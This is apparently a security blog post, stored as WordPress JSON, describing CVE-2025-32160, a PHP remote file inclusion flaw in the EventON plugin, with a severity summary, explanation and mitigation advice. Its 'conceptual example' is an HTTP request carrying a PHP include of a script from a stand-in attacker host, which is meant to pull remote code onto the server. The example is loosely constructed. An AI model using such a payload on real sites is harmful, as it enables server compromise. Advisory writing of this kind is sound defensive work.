{"id":86179,"date":"2026-01-01T14:03:12","date_gmt":"2026-01-01T14:03:12","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-32160-high-risk-remote-file-inclusion-vulnerability-in-eventon","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-32160-high-risk-remote-file-inclusion-vulnerability-in-eventon\/","title":{"rendered":"<strong>CVE-2025-32160: High-risk Remote File Inclusion Vulnerability in EventON<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-32160 vulnerability represents a significant risk to systems running the EventON software, specifically versions through 2.3.2. This high-severity issue stems from the PHP Remote File Inclusion, arising from improper control of filename for include\/require statement in PHP Program. The vulnerability could potentially lead to a system compromise or data leakage, making immediate attention and mitigation crucial.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-32160<br \/>\nSeverity: High (7.5 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: Required<br \/>\nImpact: Potential system compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-979482072\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>EventON | Up to and including 2.3.2<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit works by taking advantage of the improper control of filename for include\/require statement in the PHP program within EventON. An attacker could manipulate the filename to include a file from a remote server, thus allowing the attacker&#8217;s code to be executed in the context of the affected server. This can lead to unauthorized access, data leakage, or even system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-157805977\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>A conceptual example of how this vulnerability might be exploited is as follows:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/php\n&lt;?php include &#039;http:\/\/attacker.com\/malicious_script.php&#039;; ?&gt;<\/code><\/pre>\n<p>In this example, the attacker is able to include a malicious PHP script from their own server into the target&#8217;s server via the PHP include function. Once included, the malicious script could be executed, potentially leading to various adverse impacts.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The best form of mitigation is to apply the vendor&#8217;s patch for this vulnerability. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. Additionally, it is recommended to limit the privileges of the web server and regularly monitor system logs for any unusual activity.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-32160 vulnerability represents a significant risk to systems running the EventON software, specifically versions through 2.3.2. This high-severity issue stems from the PHP Remote File Inclusion, arising from improper control of filename for include\/require statement in PHP Program. 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